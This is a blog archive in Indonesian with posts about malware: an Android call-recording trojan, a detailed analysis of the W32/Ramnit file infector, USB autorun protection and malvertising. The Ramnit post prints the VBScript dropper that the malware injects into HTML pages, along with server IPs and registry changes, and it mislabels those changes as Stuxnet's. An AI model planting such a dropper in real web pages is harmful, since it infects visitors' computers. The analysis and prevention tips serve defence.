Showing posts with label virus. Show all posts
Showing posts with label virus. Show all posts

Wednesday, August 3, 2011

Ditemukan Virus Trojan Android Baru, Dapat Merekam Percakapan di Telepon

Sistem keamanan terhadap virus di sistem operasi Android nampaknya menjadi permasalahan. Bahkan sudah menjadi hal rahasia umum bahwa Android adalah platform mobile yang memiliki sistem keamanan terendah.

Terbaru adalah munculnya virus trojan yang dapat merekam percakapan di telepon. Belum ada informasi yang pasti apakah virus ini juga mampu mengirim rekaman percakapan itu kepada pihak lain. Namun satu hal yang pasti, rekaman percakapan tersebut disimpan dalam format .amr dan disimpan pada direktori shangzhou/callrecord pada memori SD card.
Virus ini pertama kali ditemukan sebuah software khusus dalam perusahaan keamanan CA Dinesh Venkatesan keamanan komputer. Dari software tersebut diketahui bahwa virus ini dianggap sebagai aplikasi Android yang sah oleh sistem operasi Android.

Namun software Venkestan memastikan bahwa virus ini tidak dapat menginstal dirinya secara otomatis. Melainkan akan muncul tombol install yang memiliki bentuk sama dengan aplikasi Android pada umumnya.

Setelah virus ini berhasil diinstal, maka selanjutnya virus ini akan meremote konfigurasi file dari ponsel, dan jika telepon tersebut digunakan untuk menelepon, maka virus ini akan otomatis bekerja dan mulai merekam percakapan tersebut.

Untuk itu para peneliti teknologi berharap agar para pengguna ponsel android untuk berhati-hati ketika mendownload sebuah aplikasi. Mereka menyarankan agar hanya mendowload aplikasi dari situs-situs yang dapat dipercaya seperti Android Market atau Amazon App Store.



sumber : Berita teknologi

Monday, June 13, 2011

Cara Mengatasi Virus Ramnit

Sama seperti stuxnet, varian pertama W32/Ramnit muncul pada pertengahan Juli dan Agustus 2010. Sedangkan varian kedua W32/Ramnit muncul pada Oktober dan Nopember 2010, bersamaan dengan heboh-nya serangan sality-shortcut. Dan pada pertengahan Januari 2011 saat ini yang muncul adalah varian ketiga dari keluarga W32/Ramnit yang mencoba mengikuti jejak para pendahulunya dengan menggunakan celah keamanan LNK (shortcut) untuk melakukan infeksi dan penyebaran.

Karakteristik W32/Ramnit
Salah satu hal yang membuat kita perlu hati-hati terhadap W32/Ramnit yaitu karena malware ini termasuk kelompok virus yang melakukan infeksi file seperti Sality, Virut dan Alman. Hal ini bisa menjadi momok buat pengguna komputer, karena akan sulit membersihkan virus yang melakukan infeksi file terutama file executable (application).

W32/Ramnit merupakan salah satu varian virus yang melakukan infeksi file executable (application). Dan tidak hanya file executable, tetapi juga melakukan infeksi terhadap file web (HTML) dan file DLL (dynamic load library).

Selain itu, jika anda terhubung ke internet, ramnit akan menghubungi remote server (IRC server) dan melakukan koneksi ke beberapa alamat server zombie untuk mendownload sekumpulan malware (virus, trojan, spyware). Pada beberapa waktu tertentu, W32/Ramnit menggunakan iklan dan popup dengan konten pornografi dan perjudian (casino) maupun iklan komersial lain yang tentunya membuat anda tidak nyaman saat hendak browsing maupun surfing. Bayangkan kalau hal ini terjadi pada saat anak anda yang dibawah umur sedang menggunakan komputer yang anda proteksi dengan Parental Control. Bagi orang tua ini bencana karena anak anda terpapar pornografi (karena kemungkinan besar konten porno yang ditampilkan akan lolos dari Parental Control yang di pasang) dan bagi anak hal ini bisa-bisa dianggap “berkah” karena proteksi pornografi yang di pasang ternyata bisa diakali.

Dengan turut memanfaatkan celah keamanan LNK (shortcut), maka makin mempermudah langkahnya untuk menginfeksi pengguna komputer dengan cepat. Walaupun tidak semua varian ketiga W32/Ramnit menggunakan celah keamanan LNK (shortcut), tetapi hampir semua varian W32/Ramnit akan sangat sulit dibersihkan.

Gejala & Efek W32/Ramnit
Beberapa gejala yang terjadi jika anda sudah terinfeksi yaitu :

  • Muncul pop-up iklan atau pop-up dengan konten pornografi/perjudian
    Dalam beberapa waktu tertentu, browser akan membuka pop-up iklan atau pop-up yang berisi konten pornografi atau perjudian (casino). Hal ini yang terkadang membuat pengguna komputer menjadi tidak nyaman. (lihat gambar 1)


Gambar 1, Pop-up iklan yang dijalankan W32/Ramnit
  • Muncul script error atau pop-up error setelah pop-up iklan yang muncul
Setelah pop-up iklan yang muncul, akan muncul pop-up error atau script error dari browser. Muncul-nya script error ini mirip seperti virus “ARP Spoofing” pada tahun 2008. (lihat gambar 2)

Gambar 2, Pop-up error atau script error

  • Infeksi file EXE dan DLL
    Sama seperti varian malware sality, alman dan virut, W32/Ramnit melakukan infeksi file exe. Hanya saja, W32/Ramnit juga melakukan infeksi terhadap file DLL (dynamic load library).

    File exe dan dll yang di-infeksi bertambah sekitar antara 100 – 120 kb, tergantung varian Ramnit yang menginfeksi. Meskipun begitu, tidak semua file exe dan dll yang di-infeksi.

Injeksi file HTML
Selain menginfeksi file exe dan dll, W32/Ramnit juga melakukan injeksi terhadap file HTML. Injeksi dilakukan dengan menambahkan pada header dan footer. (lihat gambar 3 dan 4)

Pada header, W32/Ramnit menambahkan script :
DropFileName = “svchost.exe”

Gambar 3, Script yang ditambahkan pada header file HTML

Sedangkan pada footer, W32/Ramnit menambahkan script :
Set FSO = CreateObject (“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & ‘\” DropFileName
If FSO.FileExists(DropPath)=False Then
Set fileobj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step2
Fileobj.write chr (CLng(“&H” & Mid(WriteData, i,2)))
Next
Fileobj.close
End If
Set WSHshell = CreateObject (“Wscript.shell”)
WSHshell.Run DropPath, 0

Gambar 4, Script yang ditambahkan pada footer file HTML


Membuat fungsi services Windows menjadi blank
Dengan aksi melakukan injeksi file pada file IEXPLORE.EXE dan file services.exe, serta menambahkan script pada file web (htm/html) membuat fungsi dari services Windows menjadi blank. (lihat gambar 5)

Gambar 5, Fungsi Services Windows menjadi blank


  • Membuat komputer hang/lambat dan bahkan koneksi jaringan menjadi terputus.
    File sistem Windows yang akan menjadi sasaran injeksi W32/Ramnit yaitu :
  • C:\WINDOWS\system32\svchost.exe (file sistem yang berhubungan dengan koneksi jaringan, dengan menginjeksi akan membuat jaringan terputus)
  • C:\WINDOWS\system32\lsass.exe (file sistem yang berhubungan dengan aktifitas komputer, dengan menginjeksi akan membuat komputer hang/lambat).
  • C:\WINDOWS\system32\services.exe (file sistem yang berhubungan dengan services dan driver yang berjalan)
  • C:\Program Files\Internet Explorer\IEXPLORE.EXE (file executable dari browser internet explorer)


Aktif pada proses memory
Malware W32/Ramnit mencoba melakukan koneksi ke Remote Server menggunakan Internet Explorer yang telah di injeksi. Hal ini bisa kita lihat pada proses task manager, walaupun kita tidak sedang membuka IE / Internet Explorer (lihat gambar 6)


Gambar 6, Proses IEXPLORE.EXE (Internet Explorer) yang telah di-injeksi oleh W32/Ramnit


  • Melakukan koneksi ke Remote Server
    Malware W32/Ramnit melakukan koneksi ke Remote Server untuk melakukan pengiriman informasi yang dibutuhkan pada Remote Server. Remote Server yang digunakan yaitu diantara-nya :
195.2.252.247
195.2.252.252
69.50.193.157
74.125.227.17
74.125.227.18
74.125.227.20
95.211.127.69

  • Melakukan transfer data ke Remote Server
    Selain mencoba melakukan koneksi dan ber-komunikasi dengan remote server, W32/Ramnit juga mencoba melakukan transfer data dari komputer korban ke Remote Server dan sebaliknya mengirim file malware ke dalam komputer korban. (lihat gambar 7)


Gambar 7, Transfer data antara komputer korban dengan Remote Server

Melakukan broadcast
Sama seperti hal-nya worm Conficker, W32/Ramnit juga melakukan broadacast pada jaringan. Yang ber-beda adalah untuk W32/Ramnit hanya melakukan pada satu alamat yaitu : ADX.ADNXS.COM (lihat gambar 8)


Gambar 8, Broadcast yang dilakukan oleh W32/Ramnit


File virus W32/Ramnit
Malware W32/Ramnit dibuat menggunakan bahasa pemrograman C yang di kompress menggunakan UPX. File malware memiliki ciri sebagai berikut :
  • Berukuran 105 kb
  • Type file “Application’
  • Menggunakan icon “folder music”
  • Extension “exe”

Saat W32/Ramnit dijalankan, maka akan menginjeksi beberapa file sistem Windows yaitu :
  • C:\WINDOWS\system32\lsass.exe
  • C:\WINDOWS\system32\svchost.exe
  • C:\WINDOWS\system32\services.exe
  • C:\Program Files\Internet Explorer\IEXPLORE.EXE

Jika terkoneksi ke internet, W32/Ramnit akan mendownload beberapa file dan folder malware sebagai berikut :
  • C:\Documents and Settings\%user%\Local Settings\Temp\[angka].tmp
  • C:\Documents and Settings\%user%\Local Settings\Temp\explorer.dat
  • C:\Documents and Settings\%user%\Local Settings\Temp\winlogon.dat
  • C:\Documents and Settings\%user%\Local Settings\Temp\[nama_acak].exe
  • C:\Documents and Settings\%user%\Start Menu\Programs\[nama_acak].exe
  • C:\Program Files\Intenet Explorer\complete.dat
  • C:\Program Files\Intenet Explorer\dmlconf.dat
  • C:\Program Files\win\[angka_acak].exe
  • C:\Program Files\qwe
  • C:\WINDOWS\[nama_acak].exe
  • C:\WINDOWS\System32\[nama_acak].dll
  • C:\WINDOWS\System32\[nama&angka_acak].dll
  • C:\WINDOWS\Temp\[angka].tmp

Selain itu, W32/Ramnit melakukan injeksi terhadap beberapa file berikut (jika ada) yaitu :
  • C:\contacts.html
  • C:\Inetpub\wwwroot\index.html
  • C:\Program Files\Common Files\designer\MSADDNDR.DLL
  • C:\Program Files\Common Files\designer\MSHTMPGD.DLL
  • C:\Program Files\Common Files\designer\MSHTMPGR.DLL
  • C:\Program Files\Common Files\System\ado\MDACReadme.htm
  • C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL
  • C:\Program Files\MSN\MSNCoreFiles\OOBE\obelog.dll
  • C:\Program Files\MSN\MSNCoreFiles\OOBE\obemetal.dll
  • C:\Program Files\MSN\MSNCoreFiles\OOBE\obepopc.dll
  • C:\Program Files\MSN\MSNIA\custdial.dll
  • C:\Program Files\MSN\MSNIA\msniasvc.exe
  • C:\Program Files\MSN\MSNIA\prestp.exe
  • C:\Program Files\MSN\MsnInstaller\iasvcstb.dll
  • C:\Program Files\MSN\MsnInstaller\msdbxi.dll
  • C:\Program Files\MSN\MsnInstaller\msninst.dll
  • C:\Program Files\MSN\MsnInstaller\msninst.exe
  • C:\Program Files\MSN\MsnInstaller\msnsign.dll
  • C:\Program Files\NetMeeting\netmeet.htm

Selain itu pada removable disk/drive akan membuat beberapa file yaitu :
  • autorun.inf
  • Copy of Shortcut to (1).lnk
  • Copy of Shortcut to (2).lnk
  • Copy of Shortcut to (3).lnk
  • Copy of Shortcut to (4).lnk
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak1].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak2].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak3].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak4].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak5].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak6].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak7].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak8].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak9].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak10].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak11].exe
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak1].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak2].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak3].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak4].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak5].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak6].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak7].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak8].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak9].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak10].cpl
  • RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak11].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak1].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak2].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak3].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak4].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak5].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak6].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak7].exe
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak1].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak2].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak3].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak4].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak5].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak6].cpl
  • RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak7].cpl

Serta pada jaringan yang menggunakan mapping drive, berusaha menginjeksi beberapa file yang memiliki nama berikut :
  • Blank.htm
  • Citrus Punch.htm
  • Clear Day.htm
  • Fiesta.htm
  • Ivy.htm
  • Leaves.htm
  • Maize.htm
  • Nature.htm
  • Network Blitz.htm
  • Pie Charts.htm
  • Sunflower.htm
  • Sweets.htm
  • Technical.htm

Modifikasi Registry
Beberapa modifikasi registry yang dilakukan oleh worm Stuxnet antara lain sebagai berikut :
  • Menambah Registry
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
[nama_acak] = C:\Documents and Settings\%user%\Local Settings\Temp\[nama_acak].exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60\0000\Control
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60\0000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60\0000\Control
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\featurecontrol
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\featurecontrol\FEATURE_BROWSER_EMULATION
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\international

  • Menghapus Registry
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRes tore]
DisableSR = 0×00000001

  • Merubah Registry
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
CurrentLevel =
1601 =

Metode Penyebaran
Beberapa cara W32/Ramnit melakukan penyebaran yaitu sebagai berikut :
  • Drive by download (exploit)
    W32/Ramnit awalnya menyebar dengan memanfaatkan fitur drive by download pada system Windows. Dengan link-link yang tersebar pada forum atau e-mail, berusaha mengelabui user untuk menjalankan link tersebut. Selain itu juga saat akses pada website-website yang menyediakan konten atau plugin browser untuk di-download.

  • Removable drive/disk
Metode ini adalah metode yang umum dilakukan oleh para pengguna komputer. W32/Ramnit membuat banyak file agar menginfeksi komputer, serta ikut pula memanfaatkan celah keamanan LNK (shortcut). (lihat gambar 9)


Gambar 9, W32/Ramnit menginfeksi removable disk/drive


  • Jaringan
    W32/Ramnit berusaha melakukan injeksi terhadap beberapa file web (htm) tertentu di jaringan pada komputer yang melakukan mapping drive. Berikut file-file tersebut :
    • Blank.htm
    • Citrus Punch.htm
    • Clear Day.htm
    • Fiesta.htm
    • Ivy.htm
    • Leaves.htm
    • Maize.htm
    • Nature.htm
    • Network Blitz.htm
    • Pie Charts.htm
    • Sunflower.htm
    • Sweets.htm
    • Technical.htm

Tips Pencegahan dari Malware W32/Ramnit
  1. Aktifkan Windows Firewall atau gunakan software firewall yang lain. Hal ini untuk mencegah dari akses yang tidak di-inginkan
  2. Pastikan komputer sudah mendapatkan update terbaru dari system Windows. Untuk mempermudah gunakan update otomatis dari system seperti “Automatic Updates”. Atau bisa juga dengan men-download patch terbaru dari website Microsoft.
  3. Gunakan antivirus yang selalu terupdate dengan baik. Hal ini untuk mempermudah terhadap varian-varian dari malware yang baru.
  4. Batasi akses terhadap akses administrator. Bagi pengguna Windows 7 dan Vista, pastikan UAC (user account control) telah berjalan dengan baik.
  5. Berhati-hati saat membuka file attachment e-mail atau saat menerima transfer file dari orang yang tidak dikenal. Pastikan selalu di scan dengan antivirus yang terupdate.
  6. Berhati-hati terhadap program crack/keygen atau program-program yang tidak dikenal. Karena bisa saja sudah terinfeksi atau mengandung malware.
  7. Gunakan password yang tidak mudah dibaca dan diketahui. Pastikan selalu rubah password pada waktu-tertentu, dan bedakan password satu dengan lain-nya.
  8. Matikan fitur “autoplay” Windows untuk mencegah program yang tidak diinginkan pada removable drive/disk berjalan secara otomatis
  9. Matikan file sharing jika tidak digunakan. Jika memang menggunakan file sharing hanya berstatus read-only, atau konfigurasi sharing hanya untuk user-user tertentu.
  10. Berhati-hati saat mengakses sebuah website atau forum yang menyediakan link-link tertentu untuk di-download atau di-install
sumber : vaksin
Premium Wordpress Plugin

Thursday, May 26, 2011

Cara Mengatasi Virus di Flashdisk

Cuma colok sebentar, tahu-tahu sudah tertular. Bagaimana sih membuat flashdisk bisa kebal dari penularan virus?

Mari kita simak terlebih dahulu mengapa penyebaran virus bisa begitu cepat. Sumber permasalahan adalah fasilitas autorun yang ada di sistem operasi Windows.

Sebenarnya, autorun yang ada sejak era Windows XP memiliki niat baik, yaitu memudahkan pengguna. Setiap kali kita memasukkan media eksternal (baik CD/DVD atau flashdisk), file autorun.inf di dalam media eksternal tersebut langsung berjalan agar isi di dalamnya bisa langsung dimainkan. Contohnya ketika Anda memasukkan CD musik, Windows langsung menjalankan Windows Media Player atau Winamp.


Namun niat baik tersebut ternyata dimanfaatkan para pembuat virus untuk menularkan virus. Dengan memodifikasi file autorun.inf, virus bisa langsung berjalan dan menularkan program jahat setiap kali flashdisk tertancap di komputer. Bisa pula sebaliknya: komputer langsung menularkan virus file autorun.inf ke setiap flashdisk yang pernah tertancap.

Lalu, bagaimana solusinya?

Menilik cara kerja penularan virus, konsepnya sederhana. Di sisi komputer, jaga agar file autorun tidak usah berjalan. Sedangkan di sisi flashdisk, pastikan autorun tidak pernah bisa dimodifikasi.

Untuk melakukan kedua hal tersebut, cara gampangnya adalah dengan menggunakan aplikasi seperti BitDefender Immunizer atau Panda USB Vaccine. Kedua aplikasi ini akan melindungi komputer maupun flashdisk dari penularan virus. Caranya seperti kami sebut di atas: menonaktifkan autorun di komputer, sekaligus melindungi file autorun.inf dari modifikasi si pembuat virus.

Kedua aplikasi ini gratis, jadi silakan unduh dan gunakan secara gratis. BitDefender Immunizer bisa diunduh di sini, sementara Panda USB Vaccine di alamat sini.

Cara menggunakannya mudah saja. Jalankan aplikasi tersebut, lalu mereka akan mendeteksi apakah fasilitas autorun di komputer Anda aktif. Jika iya, aplikasi tersebut akan menawarkan Anda untuk mematikan fasilitas tersebut (dan sebaiknya Anda lakukan).

Setelah itu, Anda tinggal imunisasi flashdisk yang hendak Anda lindungi. Pilih flashdisk dari menu yang ada, lalu tekan Immunize atau Vaccine. Sesaat kemudian, file autorun.inf di flashdisk Anda akan diganti dengan yang baru dan kebal penularan.

Jangan khawatir, file pekerjaan, kuliah, dan file penting lain di dalamnya tidak ada yang diubah kok.

Nah, gampang kan membuat flashdisk Anda kebal virus?



Sumber : info komputer

Monday, March 29, 2010

Malware Susupi Yahoo, Fox, dan Google

Malicious software (malware) juga menular melalui Yahoo, Fox, dan Google. Demikian disampaikan anti virus Avast. Tahun lalu, virus-virus dan malware tersebut bahkan ditemukan di beberapa situs yang memiliki trafik tinggi, seperti The New York Times.

Sedangkan tahun ini, beberapa situs IT, seperti TechCrunch dan WhitePages.com juga masih harus bekerja keras dalam mengatasi serangan cyber tersebut. Praktek penyebaran malware seperti ini pun dinamakan “malvertising.”

Sekarang ini, beberapa peneliti dari Avast juga menuding beberapa platform pengirim iklan, termasuk Yahoo! Yield Manager dan Fox Network Fimserve.com. Keduanya mencakup 50 persen iklan yang jumlahnya lebih kecil dari DoubleClick pada Google. Sementara itu, Avast mengklaim kalau beberapa iklan jahat bermuara di dua situs terkemuka, yaitu Yahoo dan Google.



Lyle Frink (manajer PR untuk Avast), mengatakan bahwa kasus penyebaran malware ini tidak hanya melibatkan pemain kecil, namun juga terhubung dengan server iklan besar, seperti Google dan Yahoo yang telah terinfeksi dan menyajikan iklan yang buruk. Namun demikian, Avast menjelaskan ada sejumlah sistem iklan yang lebih kecil, termasuk Myspace, yang diduga juga memiliki kontribusi dalam penyebaran iklan dalam skala rendah.
Sejak malware mulai menyebar di akhir Desember tahun lalu, Avast telah terdaftar lebih dari 2,6 juta kasus di komputer pelanggan. Jika ditotal secara keseluruhan, hampir 530.000-nya berasal dari Yield Manager dan lebih dari 16.300 berasal dari DoubleClick. Untuk menghindari penularan malware melalui iklan, kini Avast juga menyediakan tips dan trik yang dapat diunduh di http://anti-malvertising.com/tips-for-publishers."

Sumber : Info komputer

Wednesday, March 11, 2009

New Detected Viruz....

Rabu, 11 Maret 2009, 08:01

Virus hari ini secara umum menyebar melalui dua cara, secara online (melalui jaringan) maupun offline (melalui media penyimpanan fisik). Untuk melakukan infeksi dari satu komputer ke komputer lainnya secara offline, virus akan memanfaatkan tempat penyimpanan yang mudah dibawa-bawa. Mungkin dulunya floppy merupakan media yang paling banyak digunakan, tetapi sekarang muncul flash disk yang berkoneksi USB. Dengan kapasitas yang semakin besar dan harga yang semakin murah, media penyimpanan tersebut semakin digandrungi banyak orang.

Seiring dengan makin meluasnya penggunaan flash disk penyebaran virus dengan mekanisme offline intensitasnya juga makin tinggi khususnya di Indonesia. Para pembuat virus dari dalam negeri makin kreatif dalam mendesain virus dengan trik-trik tertentu untuk mempercepat penyebaran virus yang mereka buat.

Pada awalnya virus hanya akan menempatkan file berupa program virus ke tempat penyimpanan, jadi setiap kali menghubungkan flash disk ke komputer yang terinfeksi, virus akan menempatkan folder/file virus ke flash disk tersebut tanpa diketahui pemilik. Trik ini lambat laun menjadi mudah dideteksi dan file yang mencurigakan tersebut dengan mudah akan langsung dihapus oleh si pemilik.

Kemudian muncul yang namanya teknik rekayasa sosial (social engineering) di mana virus yang dimasukkan ke flash disk menjadi lebih sulit dikenali dengan meniru/membuat file dan folder yang sama dengan yang sudah ada sebelumnya dan menyembunyikan file asli ataupun dengan membuat file atau folder dengan nama-nama yang menarik perhatian pengguna, semua itu dilakukan dengan harapan agar pengguna mengklik file/ folder tersebut sehingga virus bisa aktif dan masuk ke dalam komputer korban.

Cara penyebaran virus yang sekarang ini sedang booming adalah dengan memanfaatkan fitur Autorun yang ada pada sistem operasi Windows. Fitur ini sebenarnya sangat memudahkan kita yang ingin langsung membuka/memainkan file yang ada di media penyimpanan dengan segera. Tetapi para pembuat virus melihat fitur ini sebagai jalan tercepat untuk membantu penyebaran virus. Dengan menanamkan virus beserta file AUTORUN.inf yang sudah ditulis untuk menjalankan file virus di root directory flash disk, setiap kali pengguna menghubungkan flash disk ke komputer yang fitur Autorun-nya aktif, secara otomatis virus akan langsung dijalankan.

Untuk melakukan pencegahan virus menyebar dengan bantuan fitur Autorun kini Anda tidak perlu repot lagi, seperti melakukan langkah-langkah pengaturan yang panjang dan beresiko. Berkat aplikasi portable dari perusahaan keamanan PandaSecurity, Anda sudah bisa melakukan pengamanan terhadap tempat penyimpanan berkoneksi USB, seperti Flash Disk dalam beberapa kali klik saja.